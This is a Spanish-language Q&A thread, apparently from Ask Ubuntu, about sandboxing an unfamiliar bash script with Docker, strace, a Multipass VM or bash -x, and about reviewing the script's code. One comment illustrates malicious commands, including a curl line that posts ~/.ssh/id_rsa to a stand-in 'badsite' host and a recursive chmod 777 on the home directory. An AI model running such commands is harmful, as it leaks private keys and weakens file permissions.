¿Cómo puedo probar un script de shell en un "entorno seguro" para evitar daños a mi computadora?

29

Me gustaría instalar un cierto script bash llamado 42FileChecker usando los comandos:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Pero no sé si 42FileChecker.sh hará algo extraño en mi PC porque soy un principiante y no sé qué está sucediendo en ese script. ¿Hay alguna manera de ejecutarlo en una terminal ficticia o carpeta raíz ficticia o algo así para ver qué sucede para evitar algo loco como formatear mis discos? Me gustaría conocer cualquier forma de probar shells para futuros scripts de shell también, incluso si 42FileChecker.sh es seguro.

nicholas
fuente
55
Dado que es un script, puede leerlo y leer las manpáginas de los comandos que contiene.
waltinator
1
Tenga en cuenta que, dado que el código está alojado en Git, puede leer la fuente de la herramienta. Si la revisión de código no es lo tuyo, hacer algún tipo de análisis "dinámico" ejecutándolo en un entorno seguro (sandbox, VM) es tu próxima mejor
opción
44
@waltinator Si le preocupa el comportamiento malicioso , en lugar de un comportamiento no intencionado, leer las páginas man no será de ayuda.
Ray
1
@Ray, solo si los comandos que se ejecutan son maliciosos, por lo que sus páginas de manual ocultarían sus verdaderos efectos. Creo waltinator se refería al caso más probable de uso malicioso de comandos estándar, por ejemplo, chmod 777 -R ~o curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa, o similares.
Comodín
1
Relacionados . Puede probar los scripts sin arriesgar ningún daño a su computadora y les enseñaría a sus colegas a bloquear sus sesiones.
Eric Duminil

Respuestas:

4

No soy un experto en esto, pero recomendaría usar stracey docker.

Entonces, primero cree un contenedor Docker según las instrucciones de esta respuesta . Pero la adición es que strace le dirá qué llamadas al sistema se realizan. O para citar:

strace es una utilidad de espacio de usuario de diagnóstico, depuración e instrucción para Linux. Se utiliza para monitorear y manipular las interacciones entre los procesos y el kernel de Linux, que incluye llamadas al sistema, entregas de señales y cambios en el estado del proceso.

Puede combinar estos comandos para

docker exec -it ubuntu_container strace bash ./42FileChecker.sh
Thomas
fuente
Entonces, esto irá a través de cada línea del script (paso a paso) y también hará todo esto dentro de un contenedor, lo que significa que todos los comandos no harán absolutamente nada en mi sistema, sino que se ejecutarán como de costumbre. ¿Estoy entendiendo esto correctamente?
Nicholas
1
@nicholas sí, el contenedor Docker es una máquina separada para su protección, el programa está protegido. Strace le proporcionará todas las operaciones que la aplicación realiza en esa máquina, desde abrir archivos hasta configurar conexiones de red.
Thomas
1
Sí, eso es exactamente lo que estaba buscando, Strace combinado con Docker.
Nicholas
42

Si no está seguro de lo que hace un script, es mejor que no lo ejecute hasta que esté seguro de lo que hace. Las formas de reducir el radio de daño de un script incorrecto incluyen ejecutarlo con un nuevo usuario, ejecutarlo en un contenedor o ejecutarlo en una máquina virtual. Pero esa primera afirmación sigue siendo válida: si no está seguro de lo que hace algo, considere no ejecutarlo hasta que lo haga.

ctt
fuente
66
Por otro lado, los guiones son como EULA: Sí, debes leer y comprender cada línea antes de vender tu alma, pero ¿verdad?
Peter - Restablece a Monica
77
@ PeterA.Schneider, pero los EULA realmente no hacen nada hasta que los llevan a los tribunales. Ejecutar un script tiene un efecto inmediato en su computadora. No se trata tanto de leer cada línea; se trata más de "Reflexiones sobre confiar en la confianza" y conocer y confiar en la fuente del guión.
Comodín
29

Como dijo @ctt, probablemente sea una buena idea ejecutarlo primero en una caja de arena de algún tipo. Usar una VM es probablemente la solución más fácil. Multipass es bastante simple.

Instale multipass (suponiendo que aún no lo haya hecho):

sudo snap install multipass --beta --classic

Haga girar una nueva VM:

multipass launch --name myvm

Inicie sesión en su nueva máquina virtual:

multipass shell myvm

Luego ejecute su script (dentro de su vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Ryan J. Yoder
fuente
38
Este enfoque no es seguro. Después de ejecutar el script en el sandbox, ¿cómo va a saber si era seguro? Puede tener efectos nocivos que no puede decir fácilmente. El malware no necesariamente aparece y dice "¡Jaja, te atrapé!". Además, una secuencia de comandos maliciosa podría comportarse fácilmente de una manera benigna en una caja de arena o máquina virtual y luego comportarse maliciosamente en su computadora real. (Por ejemplo, la detección de VM es una cosa, al igual que las huellas digitales de la máquina).
DW
12
Es un excelente punto. Si desea inspeccionar el script en busca de malware, esta no es una solución efectiva. Esta es una forma de probar la funcionalidad sin contaminar su sistema host.
Ryan J. Yoder
Puede hacer una comparación completa con una VM de "control".
mckenzm
66
@mckenzm: Pero si se trata de malware, es muy posible que elija no hacer nada hasta que tenga acceso a algo que parece jugoso.
Henning Makholm
11

Como la escuela a la que asiste ha publicado los guiones, el mejor lugar para expresar sus preocupaciones es con sus instructores.

Dicho esto, podemos ayudarlo a descifrar el código línea por línea. Probablemente no sea práctico para nadie aquí analizar todo el código.

En realidad, tiene 40 secuencias de comandos bash con un total de 5,360 líneas. Los combiné y busqué comandos bash / shell que pudieran ser abusados. Todos parecen usarse normalmente :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • No hay ningún rm -rf /comando para borrar toda la partición del disco duro.
  • No hay ningún requisito que sudose use para ejecutar el script.
  • El script realmente se asegura de que solo Cse usen funciones autorizadas en los archivos marcados.
  • Una exploración rápida del código bash / shell muestra que está escrito profesionalmente y es fácil de seguir.
  • El uso de shellcheck en archivos de inclusión combinados revela solo tres errores de sintaxis.
  • Se identifican los nombres de los autores y el autor principal incluso tiene su foto en su githubpágina.
  • Aunque no hay garantías en la vida, 42FileCheckerparece seguro de usar.

No es necesario preocuparse tanto por los scripts de bash legibles por humanos. Son objetos binarios compilados que no puedes leer que son motivo de preocupación. Por ejemplo, un programa llamado "esfera brillante-hinchable" podría pintar algo así en su pantalla, pero en el fondo podría estar borrando todos sus archivos.


Respuesta original

Es mejor preguntarle al autor del guión qué hace. De hecho, casi puede publicar su pregunta literalmente como aparece arriba.

También pregunte al autor:

  • ¿Qué archivos se actualizan?
  • ¿Qué sucede si falla debido a un corte de energía o un error del programa?
  • ¿Se puede realizar una mini-copia de seguridad primero?

Y cualquier otra buena pregunta que se te ocurra.


Edición 1: se preocupa por un autor malintencionado.

Solo debe usar software con muchas buenas críticas públicas. Alternativamente, los autores en los que confía aquí en Ask Ubuntu como Serge, Jacob, Colin King, etc. Otros sitios respetados como Ask Ubuntu y sus miembros respetados también deben considerarse "no maliciosos".

La ventaja de los "autores respetados" aquí en Ask Ubuntu es que ponen su autoestima en los "puntos de reputación". Si escribieran intencionalmente código que "robara" o "dañara" datos, perderían rápidamente su reputación. De hecho, los autores podrían sufrir la "ira de las modificaciones" y ser suspendidos y / o que se les quiten 10.000 puntos de reputación.


Edición 2: no siga todas las instrucciones

Eché un vistazo más profundo a las instrucciones de tu script bash:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

El método "seguro" es ejecutar solo la primera línea:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Esto descarga los scripts pero no los ejecuta. Luego use nautilus(administrador de archivos) para inspeccionar los directorios y archivos instalados. Muy pronto descubres que hay una colección de guiones de bash escritos por un grupo de estudiantes en Francia.

El propósito de los scripts es compilar y probar programas en C para detectar funciones incorrectas y pérdidas de memoria.

WinEunuuchs2Unix
fuente
1
Debería hacerlo, pero estaba pensando en situaciones en las que el autor podría estar haciendo algo malicioso intencionalmente.
Nicholas
1
@nicholas Respondí a tu comentario revisando la respuesta.
WinEunuuchs2Unix
2
Estoy aprendiendo C en el curso Ecole 42. Las funciones que estoy realizando deben ejecutarse a través de esta verificación de normas. Necesito instalar 42FileChecker en Ubuntu para ejecutar esta verificación de normas. Supongo que solo tengo que confiar en este script por ahora, pero primero necesitaba saber cómo hacer una "ejecución segura" del script porque no soy tan bueno haciendo búsquedas de hombres. Gracias por la ayuda. Voy a ejecutar una máquina virtual la próxima vez.
Nicholas
2
@nicholas La línea 24 de ~/42FileChecker/includes/display/display_credits.shtrabajo de los estados de norminette es una dependencia: norminette (42 born2code) http://www.42.fr. Leí esto anoche y es por eso que escribí que era una escuela (ecole) en Francia que publicó 42FileChecker . Por lo que he examinado el código hasta ahora, no me preocuparía por ejecutarlo. Además, tiene muy pocos errores de sintaxis informados, lo shellcheckque es sorprendente para un script bash de 5,360 líneas. Muchos scripts de bash publicados profesionalmente tienen muchos errores de sintaxis.
WinEunuuchs2Unix
2
@nicholas Desde el punto de vista de la seguridad, usar el entorno y los scripts proporcionados para la clase es probablemente el mejor enfoque. También elimina la posibilidad de un comportamiento diferente al de la versión oficial del curso, lo que podría ser una sorpresa en el momento de la entrega. ¿Está seguro de que no hay acceso remoto a esta máquina, posiblemente utilizando un servicio VPN o SSH proporcionado por el campus desde otra computadora a la que pueda acceder de forma remota?
trognanders
5

Puedes usar Docker. Los contenedores Docker están aislados del sistema operativo host, por lo que cualquier actividad maliciosa permanecerá dentro de un contenedor, siempre y cuando no lo deje salir específicamente al reenviar puertos o montar sistemas de archivos.

Para instalar la ventana acoplable:

sudo apt-get install docker.io

Para descargar un nuevo contenedor Ubuntu Bionic:

docker pull ubuntu:bionic

Después de eso, inicie sesión en el contenedor

docker run -it ubuntu:bionic

y realizar la operación poco fiable en él:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
Syfer Polski
fuente
1
Otro beneficio de Docker que puede ser útil para determinar qué hace un script es que puede ejecutar docker diffpara ver qué cambios se han realizado en el sistema de archivos desde que inició el contenedor. La desventaja de usar Docker es que el contenedor no es una copia completa del sistema host. La imagen de Ubuntu que menciona aquí contiene solo una instalación mínima de Ubuntu.
Martijn Heemels
2
En lugar de docker run ubuntuejecutarlo, docker run -it ubuntu:bionicThe -itle proporciona una terminal interactiva en el contenedor y bionicrealmente ejecuta la versión que desea en lugar de la predeterminada latest.
Martijn Heemels
Me gusta esta respuesta, la mejor de las que he visto. Sin embargo, parece que el script poco fiable aún podría abusar de su sistema. En secreto podría ser la minería bitcoins, etc. Lo ideal sería que uno podría utilizar indicadores adicionales, posiblemente --memory, --networky tal vez otros a muy fije el guión.
Emory
1
Si eres realmente paranoico, combina esta respuesta con la segunda mejor respuesta. Ejecute Docker dentro de una máquina virtual y bloquee todo.
Emory
3

Considere usar el modo de depuración ejecutando el script como:

$ bash -x scriptname

Más información útil sobre Bash

El modo de depuración no impedirá que el script haga algo malo, pero le permitirá revisar el script línea por línea y examinar los efectos. También puede verificar el script en busca de posibles errores y / o exploits potenciales comunes, por ejemplo, buscar en los scripts cualquier ocurrencia rmy observar esos comandos muy de cerca. Muchas de estas herramientas tienen un poco de ayuda incorporado para ponerlas en práctica, por ejemplo, rm no va a eliminar un directorio por defecto, que necesita el -r, -Ro --recursivela opción de hacerlo.

Incluso puede haber algunas herramientas similares a antivirus que buscarían un script bash para estos patrones, pero no conozco ninguna por su nombre. Sus scripts de ejemplo son algo más dudosos, en el sentido de que descargan otras herramientas, por lo que cada uno de ellos también debe ser examinado. También puede valer la pena comprobar con qué servidores se contactan.

huésped
fuente
-x se puede usar para depurar (¡y yo lo uso!) pero no le permitirá pasar por un script línea por línea. Le dará una especie de "traza" a medida que ejecuta el script a toda velocidad.
jrw32982 apoya a Monica
2

Desafortunadamente, la información relevante para proporcionar una respuesta solo se encuentra en un comentario suyo:

Estoy aprendiendo C en el curso Ecole 42. Las funciones que estoy realizando deben ejecutarse a través de esta verificación de normas. Necesito instalar 42FileChecker en Ubuntu para ejecutar esta verificación de normas.

Entonces, la situación es que en la práctica tiene la opción de omitir el curso, o puede ejecutar el script para realizar verificaciones normativas en sus fuentes. Hablar con su instructor no es una opción, debido a la falta de la primera (de todos modos no sería una opción, de lo contrario, ninguna escuela va a cambiar su procedimiento porque un estudiante no está contento con eso).
La pregunta qué hacer para limitar el posible daño de ese script, por lo tanto, ni siquiera surge. No es un guión aleatorio que una chica cachonda con senos grandes te envió por correo electrónico, y que debes ejecutar para ver su foto .
Estás haciendo una clase de programación. Estaes donde entró en juego este guión. La pregunta es si desea o no cumplir con las condiciones del marco para completar con éxito el curso.

Sin embargo, si está realmente preocupado, todavía existe la posibilidad de ejecutar el script en un contenedor o una máquina virtual, y colocar sus fuentes en una carpeta compartida, o en un recurso compartido de red expuesto por el contenedor / máquina virtual. Eso es más o menos el camino completo de la paranoia, pero, de nuevo, la virtualización no es realmente tan complicada en estos días, por lo que no cuesta mucho.

Salvo la posibilidad improbable de que se contenga un exploit realmente duro en ese script, iniciar sesión como cualquier usuario no root (que apenas tiene la opción de hacer de otra manera en Ubuntu) y evitar escribir sudo sin razón obvia prácticamente evita el 99% de todas las cosas malas que podrían suceder de todos modos. Como formatear el disco duro, que le preocupa. Un usuario normal simplemente no puede hacer eso. Lo peor que puede pasar es que el script borre el directorio de inicio del usuario. Entonces, qué, no hay problema, realmente.

Damon
fuente
Esperemos que OP comente aquí si sudoes necesario para ejecutar el script. +1
WinEunuuchs2Unix
Evitar sudosolo limita el alcance de la eliminación / formateo accidental debido a errores. Si el script era malicioso o explotable, la ejecución con sudoun solo sistema de usuario no hace una diferencia esencial.
ese otro chico
@ WinEunuuchs2Unix No creo que sudo sea necesario. Realmente no lo sé en realidad. Aunque he estado usando sudo para los comandos apt install. ¿Eso significa que también necesito usarlo para ejecutar un script?
Nicholas
1
@nicholas No tengo ningún programa de C para compilar y probar, 42FileCheckerasí que realmente no puedo decir si sudoes necesario o no. Sin embargo, el script bash no busca sudo y le dice que lo use. Parece que eso sudono es obligatorio. Una vez más, creo que preguntarle a su instructor (maestro) es la mejor política. He actualizado mi respuesta hace una hora con un pequeño análisis del guión. Observe que el nombre " mynorminette" apareció nuevamente dentro del código.
WinEunuuchs2Unix
1
@nicholas Apuesto a que algunos de los instructores conocen personalmente a Norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk y Jean-Michel Gigault, a quienes contribuyeron todos 42FileChecker. Creo que hablar con los instructores te tranquilizará. Después de un par de horas investigando, tengo fe en los programadores y sus creaciones. Jean-Michel Gigault incluso tiene su foto en github. Todo un testimonio de confianza en una tierra donde crecen las semillas de Yellow Vest. ¡Viva La France! (et Ecole 42 :)) Haznos un favor y visítanos para dar actualizaciones de progreso.
WinEunuuchs2Unix